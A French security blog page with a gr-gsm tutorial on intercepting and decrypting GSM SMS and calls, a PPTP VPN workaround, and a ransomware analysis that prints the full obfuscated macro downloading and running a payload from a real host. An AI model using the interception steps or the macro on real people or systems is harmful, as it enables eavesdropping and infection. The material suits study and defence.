Interception passive (sans IMSI catcher) et décodage de flux GSM avec GR-GSM

Interception passive (sans IMSI catcher) et décodage de flux GSM avec GR-GSM

À la suite de mon article sur l'interception de SMS sans IMSI catcher, j'ai écrit un article plus détaillé dans le hors-série n°16 de MISC. C'est plus agréable sur papier et la mise en page est plus jolie dans le magazine, mais comme il a été publié sous les termes de la licence Creative Commons BY-NC-ND, voici l'article tel qu'il a été publié dans MISC.


Ce qu’on appelle GSM (pour Global System for mobile Communications) correspond aux normes encadrant la téléphonie mobile sur la bande des 900 Mhz. Elles datent des années 1980 et n’ont pas ou très peu évolué depuis. En décembre 2009, Karsten Nohl, avec quelques autres membres du Chaos Computer Club, a réussi à casser le système de chiffrement GSM : A5/1 (pdf et vidéo de la présentation Blackhat 2010). L’attaque permet de décrypter en quasi temps réel les communications. À l’époque, la GSM Association, en charge de la norme, indiquait que cela ne posait pas particulièrement de problème dans la mesure où l’interception ou la capture et le décodage des signaux radio restaient complexes. Aujourd’hui, avec les possibilités offertes par la radio logicielle (Software Defined Radio : SDR), cela n’est plus le cas.

1 - Matériel

En 2010, pour capturer les signaux GSM, Karsten Nohl utilisait une radio programmable de Ettus Research. Ce genre de matériel coutait plus de 1500 €. Aujourd’hui, une simple clé USB TNT DVB-T peut suffire. On en trouve à moins de 10 euros sur ebay. Il faut seulement qu’elle soit basée sur une puce Realtech RTL2832U. Le tuner qui équipe la clé USB TNT DVB-T est également important. C’est lui qui définit la gamme de fréquences. Pour la SDR, on considère que celles qui ont un tuner Elonics E4000 sont les meilleures parce que ce tuner propose la plus grande gamme de fréquences mais Elonics n’en fabrique plus. Elles sont, de ce fait, rares et plus chères.

Tuner Gamme de fréquences
Elonics E4000 65 MHz à 2,2 GHz (trou de 1100 MHz à 1250 MHz)
Rafael Micro R820T 24 MHz à 1766 MHz
Rafael Micro R828D 24 MHz à 1766 MHz
Fitipower FC0013 22 MHz à 1100 MHz
Fitipower FC0012 22 MHz à 948,6 MHz

Comme le montre le tableau ci-dessus, ces clés USB TNT DVB-T peuvent également servir à intercepter d’autres bandes de fréquences. Les bandes des 433 Mhz et 868 Mhz, libres selon la réglementation européennes, sont particulièrement utilisées pour des applications sans fils. On peut notamment citer les portes de garages ou les volets roulants.

Pour le GSM, même s’il offre une gamme de fréquences sensiblement moins importante que l’Elonics E4000, le Rafael Micro R820T est recommandé. En effet, il est moins cher et réputé mieux fonctionner pour les fréquences supérieures à 450 MHz, ce qui est le cas du GSM.

Il ne s’agit pas de matériel haut de gamme et prévu pour la SDR, mais tous les tuners présentés dans le tableau ci-dessus, couplés au démodulateur Realtech RTL2832U fonctionnent normalement très bien pour intercepter des flux GSM.

La fréquence d’échantillonnage maximale de ces clés USB TNT est théoriquement de 3,2 MHz. Mais à cette fréquence, la faible qualité de certaines clés risque d’engendrer des pertes. Ainsi pour éviter cela, il est recommandé de ne pas dépasser 2,4 MHz.

Il est aussi possible d’utiliser du matériel plus avancé et surtout dédié à la SDR, mais forcément plus onéreux. Il s’agit notamment du boitier HackFR One de Great Scott Gadgets ou de la carte bladeRF de Nuand, ou encore des produits Airspy ou SRDplay.

Note
Pour cet article, une clé USB TNT DVB-T sans marque équipée d’un tuner R820T a été utilisée.

2 - Rappels sur les communications GSM

Note
Les éléments ci-dessous ne se veulent pas exhaustifs et peuvent paraître très approximatifs pour les spécialistes. Ils sont uniquement destinés à la compréhension de la suite de l’article et de l’utilisation de gr-gsm.

Dans le cadre de la téléphonie mobile, les équipements des utilisateurs du réseau sont appelés Mobile Station (MS) et les équipements en charge de communiquer directement avec les MS sont appelés Base Transceiver Station (BTS).

Les communications GSM se font, en Europe, sur les bandes des 900 MHz et 1800 MHz. Sur la bande des 900 MHz, en fait, elles utilisent les fréquences entre 880 MHz et 915 MHz pour le lien montant, c’est-à-dire de la MS vers la BTS, et les fréquences entre 925 MHz et 960 MHz pour le lien descendant, c’est-à-dire de la BTS vers la MS.

Chacune de ces deux bandes de 35 MHz est divisée en 174 canaux de 200 kHz. Ils sont appelés Absolute Radio-Frequency Channel Number (ARFCN) et, pour la bande des 900 MHz, sont numérotés de 0 à 125 et de 975 à 1023 :

ARFCN Lien Montant Lien Descendant
975 880,2 MHz 925,2 MHz
976 880,4 MHz 925,4 MHz
977 880,6 MHz 925,6 MHz
...
1021 889,4 MHz 934,4 MHz
1022 889,6 MHz 934,6 MHz
1023 889,8 MHz 934,8 MHz
0 890 MHz 935 MHz
1 890,2 MHz 935,2 MHz
2 890,4 MHz 935,4 MHz
...
122 914,4 MHz 959,4 MHz
123 914,6 MHz 959,6 MHz
124 914,8 MHz 959,8 MHz

Les autres ARFCN (entre 125 et 974) ne sont pas utilisées ou sont utilisées sur d’autres bandes de fréquences (GSM 450, GSM 480 et DSC 1800).

Les 174 canaux comportent chacun huit time slots (TS) d’environ 577 μs. Ils sont numérotés de zéro à sept. Ce sont ces canaux physiques qui sont utilisés pour transmettre la voix ou la signalisation. Ils contiennent des données appartenant à trois catégories :

  • Traffic CHannels (TCHs) :
    • Full rate Traffic CHannel (TCH/F) ;
    • Half rate Traffic CHannel (TCH/H) ;
  • Dedicated Control CHannels (DCCHs) :
    • Standalone Dedicated Control CHannel (SDCCH) ;
    • Fast Associated Control CHannel (FACCH) ;
    • Slow Associated Control CHannel (SACCH) ;
  • Common Control CHannels (CCCHs) :
    • Broadcast Control CHannel (BCCH) ;
    • Access Grant CHannel (AGCH) ;
    • Random Access CHannel (RACH) ;
    • Paging CHannel (PCH) ;
    • Synchronization CHannel (SCH) ;
    • Frequency Correction CHannel (FCCH).

Les TCHs sont des canaux point à point. Ils sont l’équivalent du canal B du RNIS. Ils sont utilisés pour trans- porter la voix ou des données.

Les DCCHs sont également des canaux point à point. Ils sont l’équivalent du canal D du RNIS. Le SDCCH est notamment utilisé pour la mise en place des appels et le transfert de SMS. Les FACCH et SACCH sont essen- tiellement utilisés pour la signalisation pendant les appels.

Les CCCHs sont des canaux de diffusion et point à point. Ils n’ont pas d’équivalent RNIS. Ils sont utilisés quasiment exclusivement pour gérer l’aspect radio. Le BCCH est utilisé par la BTS pour diffuser des infirmations sur le réseau. Le RACH est utilisé par les MS pour demander un canal à la BTS. Le AGCH est utilisé pour la BTS pour répondre aux demandes faites via le RACH. Le PCH est le canal par lequel la MS est informée qu’elle reçoit un appel.

La figure ci-dessous reprend une partie de ces informations sous forme schématique.

Schéma simplifié des fréquences et des time slots dans les communications GSM

Afin de garantir la confidentialité des communications, ces dernières sont normalement chiffrées. L’A5/1, développé en 1987, est censé remplir ce rôle. En 2009, il a été cassé en utilisant des ressources accessible à tous . En 1989, l’A5/2 a été développé pour les pays où la loi ne permettait pas d’utiliser l’A5/1. Du fait de sa faiblesse, il n’est pas utilisé. Publié en 1999, l’A5/3, utilisé pour les communications 3G, est censé remplacer l’A5/1. Bien que des attaques théoriques sur l’A5/3 existent, en pratique, elles ne sont pas significatives. Dans les faits, en France, l’A5/1 reste très majoritaire.

3 - Présentation des outils de gr-gsm

Gr-gsm est un projet libre développé depuis février 2014 par Piotr Krysik. Il utilise GNU Radio et est basé sur une partie du projet Airprobe : le gsm-receiver, également développé par Piotr Krysik. Gr-gsm fournit notamment des outils permettant de recevoir, décoder et déchiffrer des flux GSM.

Il est composé des cinq programmes suivants :

  • grgsm_scanner ;
  • grgsm_livemon ;
  • grgsm_channelize.py ;
  • grgsm_capture.py ;
  • grgsm_decode.

Grgsm_capture.py et grgsm_decode ne sont pas traités dans ce paragraphe. Ils seront abordés dans les paragraphes suivants. Cependant, leurs noms sont plutôt explicites. Grgsm_capture.py permet de capturer les signaux et de les stocker dans un fichier afin de les analyser par la suite avec grgsm_decode.

3.1 - grgsm_scanner

Grgsm_scanner est un outil en ligne de commande qui permet de scanner, entre autres, la bande GSM. Il affiche les informations des BTS environnantes. Il peut prendre des arguments mais fonctionne très bien sans. Voici un exemple des informations qu’il peut afficher :

$ grgsm_scanner
linux; GNU C++ version 6.3.0 20170221; Boost_106200; UHD_003.009.005-0-unknown


ARFCN:    1, Freq:  935.2M, CID: 36576, LAC:  6147, MMC: 208, MNC:   1, Pwr: -47
ARFCN:    8; Freq:  936.6M, CID: 64988, LAC:  6147, MMC: 208, MNC:   1, Pwr: -37
ARFCN:   15; Freq:  938.0M, CID: 55029, LAC:  6147, MMC: 208, MNC:   1, Pwr: -42
ARFCN:   80; Freq:  951.0M, CID: 24843, LAC: 49308, MMC: 208, MNC:  10, Pwr: -34
ARFCN:   85; Freq:  952.0M, CID: 58410, LAC: 49308, MMC: 208, MNC:  10, Pwr: -39
ARFCN:  121; Freq:  959.2M, CID: 24844, LAC: 49308, MMC: 208, MNC:  10, Pwr: -29

Le Location Area Code (LAC) permet de grouper des cellules appartenant à une même zone, afin d’optimiser la signalisation. Le Mobile Country Code (MCC) correspond au code du pays. En France, il a toujours la valeur 208. Le Mobile Network Code (MNC) permet d’identifier le réseau d’un opérateur. Sur la bande GSM, Orange utilise les MNCs 1 et 2, SFR utilise les MNCs 10 et 13, Free utilise le MNC 15 et Bouygues Telecom utilise les MNCs 20 et 88.

Sur l’exemple ci-dessus, on constate que l’on capte des signaux de six cellules : trois cellules Orange (MNC 1) et trois cellules SFR (NMC 10).

Les cellules Orange utilisent les fréquences à 935,2MHz (ARFCN 1), à 936,6 MHz (ARFCN 8) et à 938 MHz (ARFCN 15). Elles partagent le même LAC et ont chacune un identifiant unique (CID).

Les cellules SFR utilisent les fréquences à 951 MHz (ARFCN 80), 952 MHz (ARFCN 85) et 959,2 MHz (ARFCN 121). De la même manière que pour les cellules Orange, elles partagent le même LAC et ont chacune un identifiant unique (CID).

On remarque que grgsm_scanner indique également la puissance du signal reçu pour chaque cellule. Normalement la MS se connecte à la cellule qu’il capte le mieux, c’est-à-dire celle dont la puissance du signal est la plus importante. Dans ce cas, pour un abonné Orange, elle se connectera sur la cellule 64988 et sur la cellule 24843 pour un abonné SFR.

Les arguments qu’il est possible de fournir à grgsm_scanner sont les suivants :

  • la fréquence d’échantillonnage avec -s ou --samp-rate=. La valeur par défaut est 2000000.
  • une correction de fréquence avec -p ou --ppm=. La valeur par défaut est zéro. Elle permet de pallier des défauts matériels du récepteur.
  • le gain avec -g ou --gain=. La valeur par défaut est 24. Il peut être utile d’augmenter cette valeur en cas de mauvaise réception du signal.
  • la vitesse à laquelle le logiciel scanne avec --speed= entre zéro et cinq. La valeur par défaut est quatre. Zéro correspond à la vitesse la plus lente et cinq à la plus rapide.

Avec -v, on obtient des informations supplémentaires, notamment la configuration CCCH, les ARFCNs de la cellule et des cellules environnantes.

$ grgsm_scanner -s 2e6 -p 0 -g 50 --speed=3 -v
linux; GNU C++ version 6.3.0 20170221; Boost_106200; UHD_003.009.005-0-unknown


ARFCN:    1, Freq:  935.2M, CID: 36576, LAC:  6147, MCC: 208, MNC:   1, Pwr: -40
  |---- Configuration: 1 CCCH, not combined
  |---- Cell ARFCNs: 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 47, 48, 49
  |---- Neighbour Cells: 4, 8, 11, 14, 515, 517, 599, 601, 603

ARFCN:    8, Freq:  936.6M, CID: 64988, LAC:  6147, MCC: 208, MNC:   1, Pwr: -28
  |---- Configuration: 1 CCCH, not combined
  |---- Cell ARFCNs: 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 47, 48, 49
  |---- Neighbour Cells: 1, 2, 3, 4, 5, 6, 7, 9, 10, 13, 14, 15, 512, 514, 515, 516, 517, 523, 600, 601, 606, 607, 609

ARFCN:   15, Freq:  938.0M, CID: 55029, LAC:  6147, MCC: 208, MNC:   1, Pwr: -28
  |---- Configuration: 1 CCCH, not combined
  |---- Cell ARFCNs: 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 47, 48, 49
  |---- Neighbour Cells: 1, 4, 5, 8, 10, 13, 14, 512, 514, 516, 521, 523, 599, 601, 603, 606, 609, 610

ARFCN:   80, Freq:  951.0M, CID: 24843, LAC: 49308, MCC: 208, MNC:  10, Pwr: -31
  |---- Configuration: 1 CCCH, not combined
  |---- Cell ARFCNs: 80, 119
  |---- Neighbour Cells: 77, 80, 82, 83, 84, 85, 87, 113, 114, 115, 117, 118, 119, 121, 122, 124

ARFCN:   85, Freq:  952.0M, CID: 58410, LAC: 49308, MCC: 208, MNC:  10, Pwr: -30
  |---- Configuration: 1 CCCH, not combined
  |---- Cell ARFCNs: 85, 116
  |---- Neighbour Cells: 77, 79, 80, 81, 82, 83, 84, 85, 113, 114, 116, 119, 120, 121, 122, 124

ARFCN:  121, Freq:  959.2M, CID: 24844, LAC: 49308, MCC: 208, MNC:  10, Pwr: -28
  |---- Configuration: 1 CCCH, not combined
  |---- Cell ARFCNs: 76, 121
  |---- Neighbour Cells: 77, 78, 80, 81, 83, 84, 85, 113, 115, 116, 119, 120, 121, 122, 124
$

Cet outil va donc permettre de savoir quelles ARFCNs ou fréquences sont utilisées par les BTS environnantes et ainsi de savoir quelle(s) fréquence(s) il est utile de tenter de capturer.

3.2 - grgsm_livemon

Grgsm_livemon est un outil graphique qui permet de surveiller en temps réel les données transmises sur une fréquence donnée. La surveillance peut s’effectuer simplement dans la console qui a lancé le programme, mais elle peut également s’effectuer avec wireshark. En effet, grgsm_livemon, envoie les données au format GSMTAP sur l’interface loopback sur le port UDP 4729. Ainsi pour effectuer la surveillance avec wireshark, avant d’exécuter grgsm_livemon, on l’exécute avec la commande suivante :

$ sudo wireshark-gtk -k -f udp -Y gsmtap -i lo &

Cette commande exécute wireshark avec les droits root (avec sudo), en lançant immédiatement la capture (avec -k) sur l’interface loopback (avec -i lo). De plus, on active un filtre de capture sur les paquets udp (avec -f udp) et un filtre d’affichage sur les paquets de type GSMTAP (avec -Y gsmtap). Le & à la fin de la commande permet simplement de garder la main sur le shell.

Note
En dehors d’un environnement de test, pour des raisons de sécurité, il n’est pas recommandé de lancer wireshark en tant que root. Il existe des solutions pour qu'un utilisateur standard puisse l'exécuter.

Une fois cette commande lancée, on peut exécuter grgsm_livemon et choisir graphiquement la fréquence qui nous intéresse. La capture ci-dessous montre ce que cela peut donner.

capture d’écran grgsm_livemon avec wireshark

De la même manière que pour grgsm_scanner, il est possible de spécifier la fréquence d’échantillonnage (avec -s ou --samp-rate=), une correction de fréquence (avec -p ou –ppm=) et le gain (avec -g ou --gain=). La valeur par défaut du gain n’est pas la même que pour grgsm_scanner, elle est fixée à 30 pour grgsm_livemon. On peut également spécifier la fréquence avec laquelle le logiciel démarre avec -f ou --fc=. Il est à noter que la fréquence s’écrit en notation scientifique, c’est-à-dire avec « e » pour l’exprimer en puissance de dix. Par exemple pour la fréquence 951 MHz, on noterait 951e6.

Cet outil va donc permettre de vérifier que des données transitent bien sur la fréquence que l’on souhaite tenter de capturer.

3.3 - grgsm_channelize.py

Grgsm_channelize.py est un outil en ligne de commande. Il est surtout utile lorsqu’une communication vocale utilise des sauts de fréquence. Il permet de séparer une capture à large bande en plusieurs fichiers contenant chacun une ARFCN. Par exemple, la commande suivante va générer deux fichiers, un pour l’ARFCN 80 et un pour l’ARFCN 85, à partir d’une capture centrée sur la fréquence 951.5 MHz et dont la fréquence échantillonnage est de 2 MHz.

$ ls *.cfile
capture_951.5_2M.cfile
$ grgsm_channelize.py -c capture_951.5_2M.cfile -f 951.5e6 -d . 80 85
Input sample rate: 2M
Output sample rate: 1M
==> using resample rate of 0.5
Extracting channels [80, 85], given that the center frequency is at 951.5M
ARFCN 80 is at 951.5MHz -500KHz
ARFCN 80 is at 951.5MHz +500KHz
Done!
$ ls *.cfile
capture_951.5_2M.cfile  out_80.cfile  out_85.cfile

À l’issue de cette commande, on constate que deux nouveaux fichiers ont bien été créés avec une fréquence d'échantillonnage divisée par deux. Il est ensuite possible de les décoder avec grgsm_decode, ce qui n’était pas le cas avec la capture originale.

4 - Capture

La capture s’effectue avec grgsm_capture.py. Il s’agit d’un outil en ligne de commande. Il ne nécessite que deux arguments : la fréquence ou l’ARFCN et un fichier de sortie.

$ ls *file
ls: impossible d'accéder à '*file': Aucun fichier ou dossier de ce type
$ grgsm_capture.py -f 951e6 -c capture_951.cfile
linux; GNU C++ version 6.3.0 20170221; Boost_106200; UHD_003.009.005-0-unknown

gr-osmosdr 0.1.4 (0.1.4) gnuradio 3.7.10
built-in source types: file osmosdr fcd rtl rtl_tcp uhd miri hackrf bladerf rfspace airspy soapy redpitaya
Found Rafael Micro R820T tuner
Using device #0 Realtek RTL2838UHIDIR SN: 00000001
Found Rafael Micro R820T tuner
[R82XX] PLL not locked!
Exact sample rate is: 1000000.026491 Hz
[R82XX] PLL not locked!
^C$ ls *file
capture_951.cfile
$ grgsm_capture.py -a 80 -b capture_a80.bfile -c capture_a80.cfile
linux; GNU C++ version 6.3.0 20170221; Boost_106200; UHD_003.009.005-0-unknown

gr-osmosdr 0.1.4 (0.1.4) gnuradio 3.7.10
built-in source types: file osmosdr fcd rtl rtl_tcp uhd miri hackrf bladerf rfspace airspy soapy redpitaya
Found Rafael Micro R820T tuner
Using device #0 Realtek RTL2838UHIDIR SN: 00000001
Found Rafael Micro R820T tuner
[R82XX] PLL not locked!
Exact sample rate is: 1000000.026491 Hz
[R82XX] PLL not locked!
^C$ ls *file
capture_951.cfile  capture_a80.bfile  capture_a80.cfile

On spécifie la fréquence avec -f ou --fc=. De la même manière que pour grgsm_livemon, la fréquence s’exprime en puissance de dix. Pour utiliser un ARFCN plutôt que la fréquence, on utilise -a ou --arfcn=. Il est à noter que, dans ce cas, la fréquence du lien descendant sera sélectionnée.

Le fichier de sortie peut être écrit dans deux formats, soit sous forme de burst avec -b ou --burst-file=, soit sous forme d’un fichier ne contenant que les données avec -c ou --cfile=. Il est possible d’utiliser l’un ou l’autre ou les deux en même temps. Grgsm_decode peut décoder ces deux types de fichiers.

De la même manière que pour grgsm_scanner et grgsm_livemon, il est possible de spécifier la fréquence d’échantillonnage (avec -s ou --samp-rate=), une correction de fréquence (avec -p ou --ppm=) et le gain (avec -g ou --gain=). Le fait d’augmenter la fréquence d’échantillonnage permet d’augmenter la largeur de la bande capturée pour éventuellement ensuite utiliser grgsm_channelize.py. De plus, il est possible de spécifier la durée de la capture en seconde avec -T ou --rec-length=.

5 - Décodage

Note
Grgsm_decode ne permet pas de décoder le lien montant s’il n’est pas synchronisé avec le lien descendant. Pour cela, Piotr Krysik propose un autre projet utilisant gr-gsm. Il est nommé multi-rtl. Pour pouvoir l’utiliser, il faut posséder deux clés USB TNT DVB-T basées sur la puce Realtech RTL2832U et réussir à synchroniser leurs horloges. Cet article est réalisé avec une seule clé. Ainsi le décodage ne concerne que le lien descendant.

Le décodage de la capture s’effectue avec grgsm_decode. Il s’agit d’un outil en ligne de commande. Au départ, il ne nécessite que deux arguments : la fréquence (avec -f ou --fc=) ou l’ARFCN (avec -a ou --arfcn=), et un fichier de capture (avec -b ou --burst-file, ou -c ou --cfile=). Par défaut, il n’affiche rien.

$ grgsm_decode -c capture_936.cfile -f 936e6
$ grgsm_decode -c capture_936.cfile -a 5
$

Mais, de la même manière que grgsm_livemon, il envoie les données au format GSMTAP sur l’interface loopback sur le port UDP 4729. Ainsi, pour visualiser les données, avant d’exécuter grgsm_decode, on exécute wireshark avec la commande suivante :

$ sudo wireshark-gtk -k -f udp -Y gsmtap -i lo &

5.1 - Décodage d’un SMS

Après avoir exécuté wireshark en fond, on peut exécuter grgsm_decode. Par exemple pour une capture réalisée sur la fréquence 936 MHz (ARFCN 5), on exécute l’une ou l’autre des deux commandes présentées ci-dessus.

Dans wireshark, on obtient essentiellement des paquets (RR) Paging Request Type 1 parmi lesquels il faut trouver un paquet (RR) Immediate Assignement (cf. filtre de la capture). Cela va permettre de trouver le time slot du SDCCH dans les paquets qui contiennent un Channel Description. La capture suivante montre que, dans notre cas, il s’agit d’un SDCCH/8 sur le time slot 1.

capture d’écran wireshark montrant un Immediate Assignement

À partir de là, on relance wireshark et grgsm_decode en lui spécifiant que l’on souhaite décoder du SDCCH/8, sur le time slot 1.

$ grgsm_decode -c capture_936.cfile -a 5 -m SDCCH8 -t 1

Dans wireshark, il faut trouver un paquet (RR) Ciphering Mode Command (cf. filtre de la capture). Cela permet de déterminer le mode de chiffrement (A5/1 ou A5/3) dans Cipher Mode Setting. S’il s’agit d’A5/3, bien que grgsm_decode le prenne en charge, comme il n’est pas possible de le casser, on ne pourra pas lire le contenu du SMS sans connaître la clé. En revanche, s’il s’agit d’A5/1, on peut casser la clé avec kraken et on pourra lire le contenu du SMS. La capture suivante montre que, dans notre cas, il s’agit d’A5/1 :

capture d’écran wireshark montrant le mode de chiffrement

Après avoir obtenu la clé, on relance une nouvelle fois wireshark et grgsm_decode en ajoutant le mode de chiffrement et la clé.

$ grgsm_decode -c capture_936.cfile -a 5 -m SDCCH8 -t 1 -e 1 -k F5C55DB5E6E8B694

Dans wireshark, en recherchant un paquet (SMS) CP-DATA (cf. filtre de la capture), on peut lire le SMS en dépliant TP-User-Data. La capture suivante montre un SMS contenant un code 2FA du manager OVH :

Capture d’écran wireshark montrant le contenu d’un SMS

Comme indiqué dans la note en début de paragraphe 5, il n’est actuellement pas possible de décoder le lien montant seul avec grgsm_decode. Mais, on peut noter que, lorsque que la MS envoie un SMS, sur le lien descendant la BTS en accuse réception avec un paquet (SMS) CP-ACK.

5.2 - Décodage d’un appel

Note
Cet exemple est plutôt simple car il n’y a pas de saut de fréquence. Si tel est le cas, il faut pouvoir effectuer une capture à plus large bande, idéalement à 35MHz, et utiliser grgsm_channelize pour séparer les ARFCNs. De plus, dans ce cas, le décodage de la voix ne peut pas encore se faire directement avec grgsm_decode.

Le début du processus est le même que pour un SMS. On commence par rechercher un paquet (RR) Immediate Assignement. Cela permet de trouver le time slot du SDCCH puis le mode de chiffrement et la clé.

$ grgsm_decode -c capture_936.cfile -a 5
$ grgsm_decode -c capture_936.cfile -a 5 -m SDCCH8 -t 1
$ grgsm_decode -c capture_936.cfile -a 5 -m SDCCH8 -t 1 -e 1 -k B2176AE3590758A6

Dans wireshark en recherchant un paquet (RR) Assignement Command (cf. filtre de la capture), on obtient tous les éléments permettant d’extraire la voix. Il s’agit du type du Traffic CHannel, son time slot et le codec. Dans la capture ci-dessus, on constate qu’il s’agit d’un TCH/F utilisant un codec GSM-FR, sur le time slot 5.

capture d’écran wireshark montrant une Assignement Command

Pour extraire la communication descendante, on relance grgsm_decode en lui spécifiant que l’on souhaite décoder du TCH/F, sur le timeslot 5. De plus, on lui indique le codec et un fichier de sortie :

$ ls *.gsm
ls: impossible d'accéder à '*.gsm': Aucun fichier ou dossier de ce type
$ grgsm_decode -c capture_936.cfile -a 5 -m TCHF -t 5 -e 1 -k B2176AE3590758A6 -d FR -o voix.gsm
$ ls *.gsm
voix.gsm

Si wireshark est lancé, dans ce dernier, on remarque qu’on obtient, entre autres, un paquet (CC) Connect Acknowledge, marquant le début de l’appel.

capture d’écran wireshark montrant un Connect Acknowledge

Au final, on obtient un fichier audio au format GSM-FR lisible avec VLC ou tout autre lecteur audio prenant en charge le codec.

Conclusion

Il est peu onéreux et plutôt simple d’intercepter passivement et de décoder des flux GSM. Pour cela, comme on l’a vu dans les paragraphes quatre et cinq, il faut, d’une part, être capable de capturer toutes les données pertinentes et, d’autre part, pouvoir les décoder et les décrypter.

Afin de compliquer la capture, les opérateurs peuvent mettre en place des sauts de fréquence et des séquences de sauts peu prédictibles. Pour empêcher le déchiffrement des données, ils mettent progressivement en place le chiffrement A5/3, pour lequel aucune attaque pratique n’existe à l’heure actuelle.

Dans ce dernier cas, une interception passive n’est plus possible et les attaques se doivent d’être actives, c’est-à-dire qu’il faut mettre en place une fausse BTS à laquelle les MS cibles vont se connecter. Cette dernière servira de proxy entre les MS et la BTS de l’opérateur. On appelle cela un IMSI-catcher. Il est possible d’en fabriquer un avec le matériel dédié à la SDR présenté en fin de paragraphe un et des logiciels libres.

Les possibilités offertes par la SDR en terme de capture et la facilité de décodage des données avec gr-gsm, en particulier pour les SMS, permet de dire que depuis quelques années, la téléphonie mobile est compromise. Ainsi, bien qu’un bon nombre d’acteurs de l’Internet l’utilisent comme deuxième facteur d’authentification, ou dans leurs procédures de récupération du mot de passe, aujourd’hui, elle ne devrait plus être considérée comme un canal de communication sécurisé.

Se connecter à un VPN PPTP avec le chiffrement optionnel sous macOS Sierra

Se connecter à un VPN PPTP avec le chiffrement optionnel sous macOS Sierra

Pour un client, je devais me connecter à un VPN Point-to-Point Tunneling Protocol configuré pour ne pas supporter le chiffrement. Sous Windows, cela ne pose pas particulièrement de problème, dans les propriétés de la connexion, il suffit de sélectionner chiffrement optionnel :

propriétés connexion VPN

Le problème, c'est que je suis essentiellement sous macOS Sierra et, pour des raisons de sécurité, Apple a supprimé le support PPTP dans Sierra et iOS 10. Après quelques recherches on trouve deux alternatives :

  1. Shimo (payant : 49 €)
  2. Flow VPN (gratuit)

Ils supportent tous les deux le PPTP mais lorsqu'on tente de se connecter à un serveur configuré pour ne pas supporter le chiffrement, on obtient le message d'erreur suivant :

MPPE required, but MS-CHAP[v2] auth not performed.

Dans les deux cas, cela vient du fait que ces logiciels activent par défaut le chiffrement obligatoire. En fait ils contiennent la ligne suivante dans leur configuration :

require-mppe

Il faut donc trouver un moyen de ne pas tenir compte de cette ligne lors de la connexion.

Pour Shimo, c'est assez simple, on ajoute nomppe dans l'onglet "expert" des propriétés de la connexion :

shimo nomppe

Pour Flow VPN, c'est un peu plus compliqué. Il faut mettre des # aux lignes 92 et 93 du fichier "FlowVPN Connect.app/Contents/MacOS/FlowVPN Connect" (en utilisant "clic droit -> Afficher le contenu du paquet") :

flowVPN nomppe commentaires

Et voilà, dans les deux cas, après, on peut se connecter.

Analyse rapide du ransomware marlboro

Analyse rapide du ransomware marlboro

Depuis hier, un nouveau rançongiciel nommé "marlboro" est apparu dans une campagne de spam. Il distribue un fichier word nommé "maxi.docm" dont voici le contenu visible :

marlboro

Ce fichier a un ratio de détection virustotal de 24/56. Il contient une macro qui, si les elles sont activées, s'exécute à l'ouverture du document :

#If Win64 Then
Private Declare PtrSafe Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr
Private Declare PtrSafe Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPtr
#Else
Private Declare Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
#End If

Private Sub Document_Open()

On Error Resume Next
Dim q56aa9d485365fb51ab9833044e857343
q56aa9d485365fb51ab9833044e857343 = ChrW(104) + ChrW(116) + ChrW(116) + ChrW(112) + ChrW(58) + ChrW(47) + ChrW(47) + ChrW(109) + ChrW(104) + ChrW(117) + ChrW(115) + ChrW(116) + ChrW(108) + ChrW(101) + ChrW(114) + ChrW(50) + ChrW(48) + ChrW(49) + ChrW(56) + ChrW(46) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(119) + ChrW(101) + ChrW(98) + ChrW(104) + ChrW(111) + ChrW(115) + ChrW(116) + ChrW(97) + ChrW(112) + ChrW(112) + ChrW(46) + ChrW(99) + ChrW(111) + ChrW(109) + ChrW(47) + ChrW(117) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(46) + ChrW(119) + ChrW(105) + ChrW(99) + ChrW(107) + ChrW(101) + ChrW(100)
Dim be8acf9f7bbcf1902bcda5db9f32501d4 As Object
Dim bcb6349ce7630f24ec1aa9bd29dacdb8f As String
Set be8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
bcb6349ce7630f24ec1aa9bd29dacdb8f = be8acf9f7bbcf1902bcda5db9f32501d4.SpecialFolders("MyDocuments")
Dim b172056081f8581a6c317d44695da9c2d
Dim ea195016377e8498c4944d94f9365750d As String
ea195016377e8498c4944d94f9365750d = UserForm1.Label3.Caption
Dim z57fbbe9a55b7e76e8772bb12c27d0537 As String
Dim naa748b20fce35512e4e8aa0f8a67d3c4$, bc5ea98bbe8bfcd700715deb41c5cb71c$
naa748b20fce35512e4e8aa0f8a67d3c4 = q56aa9d485365fb51ab9833044e857343
bc5ea98bbe8bfcd700715deb41c5cb71c = bcb6349ce7630f24ec1aa9bd29dacdb8f + "/aegnmiae." + UserForm1.Label1.Caption + UserForm1.Label2.Caption + UserForm1.Label1.Caption
b172056081f8581a6c317d44695da9c2d = n9861322a82506a797cc5e8f0267601d0(0, naa748b20fce35512e4e8aa0f8a67d3c4, bc5ea98bbe8bfcd700715deb41c5cb71c, 0, 0)
UserForm1.Label4.Caption = bc5ea98bbe8bfcd700715deb41c5cb71c
e0fece8647c2c2169f969c40262081af8 = UserForm1.Label4.Caption
mdd751a3e80c6fad16ee7801c3493dcdd 0, ea195016377e8498c4944d94f9365750d, e0fece8647c2c2169f969c40262081af8, 0, 0, 3



End Sub

Ce code télécharge le fichier "http://mhustler2018.000webhostapp.com/u00000.wicked" dans "%USERPROFILE%\Documents\aegnmiae.EXE". Il a un ratio de détection virustotal de 29/58. L'icône ressemble à celle d'un document word :

marlboro-icone

A l'issue du téléchargement, le malware est exécuté et il effectue les opérations suivantes :
